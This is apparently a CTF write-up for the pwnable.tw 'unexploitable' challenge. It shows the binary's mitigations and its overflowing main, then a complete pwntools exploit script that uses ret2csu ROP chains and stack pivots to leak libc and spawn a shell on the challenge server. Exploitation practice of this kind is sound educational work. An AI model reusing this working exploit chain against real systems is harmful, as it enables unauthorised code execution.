pwnable.tw

unexploitable

February 28, 2026 Medium

Recon

Mitigation

$ pwn checksec unexploitable
[*] '/home/hungnt/pwnable.tw/unexploitable/unexploitable'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$ file unexploitable
unexploitable: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=aba2c1fb7a4bca286d75e23006f9fe01dfcb03c2, not stripped

Code

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  sleep(0);                                     // patched
  return read(0, buf, 0x100uLL);
}

Mình đã patch binary để sleep(0) cho tiện debug.

Solve

Bài này mình dùng ý tưởng giống hệt De-ASLR, tận dụng địa chỉ còn sót lại trên stack sau khi gọi sleep(). Ko có gì phải bàn :))

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
A = lambda len=1, c=b'A': c * len
z = lambda len=1, c=b'\0': c * len

e = context.binary = ELF('./unexploitable_patched', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
ld = ELF('ld-linux-x86-64.so.2', checksec=False)

context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "split-pane", "-V", "-s", "0.5", "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
b *main+50
continue
'''

def conn():
    if args.LOCAL:
        p = process([e.path])
        sleep(0.25)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(1)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10403
        return remote(host, port)

stack_1 = 0x601400
sleep_42_addr = stack_1 - 0x40
fake_file = stack_1 + 0x128
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4005e6
pop_rbp_ret = 0x0000000000400512
leave_ret = 0x0000000000400576
call = 0x4005d0

def csu_rop(rbx, r12, rdi, rsi, rdx):
    return flat(
        pop_rbx_rbp_r12_r13_r14_r15_ret,
        0,
        rbx,
        rbx + 1,
        r12,
        rdi,
        rsi,
        rdx,
        call
    ) + p64(0) * 7

attempt = 0
while True:
    attempt += 1
    print("\n----------> Attempt", attempt)

    p = conn()

    print("Wait 3s for sleep")

    sleep(3)

    print("1st write")
    pl = flat(
        A(0x18),

        # 2nd write
        csu_rop(0, e.got['read'], 0, stack_1, 0x500),

        pop_rbp_ret,
        stack_1,
        leave_ret
    )
    s(p, pl)

    sleep(0.2)

    print("2nd write")
    pl = flat(
        A(0x8),
        e.symbols['main'], # sleep() for leftover address

        # ROP above, 3rd write
        csu_rop(0, e.got['read'], 0, sleep_42_addr - 8*4, 0x500),

        # ROP below, 4th write
        csu_rop(0, e.got['read'], 0, sleep_42_addr + 8, 0x500),

        # Go there
        pop_rbp_ret,
        sleep_42_addr - 8 * 5,
        leave_ret,

        z(0x70), 1, 2 # Fake file
    )
    s(p, pl)

    print("Wait 3s for sleep then skip read() in main()")

    sleep(3)
    s(p, b'A')

    sleep(0.2)

    print("3rd write")
    write_file_rop = csu_rop(0x5ee2b, 0, fake_file, e.got['read'], 8)

    s(p, write_file_rop[:8 * 4] + b'\0')

    print("4th write")
    pl = flat(
        write_file_rop[8 * 5:],

        # 5th write
        csu_rop(0, e.got['read'], 0, stack_1 + 0xa0, 0x200)
    )
    # 4th write ends at stack_1 + 0xa0
    s(p, pl)

    print("Wait 2s for libc")
    r = p.recvrepeat(timeout=2)
    if len(r) < 1:
        print("Failed attempt")
        p.close()
        continue

    libc.address = leak_bytes(r, libc.symbols['read'])
    lg("libc base", libc.address)

    sleep(0.2)

    print("5th write")
    pl = flat(
        libc.address + 0x0000000000021102, # pop rdi; ret
        binsh(libc),
        libc.symbols['system']
    )
    sl(p, pl)

    print("Spawn shell")
    ia(p)
    p.close()
    break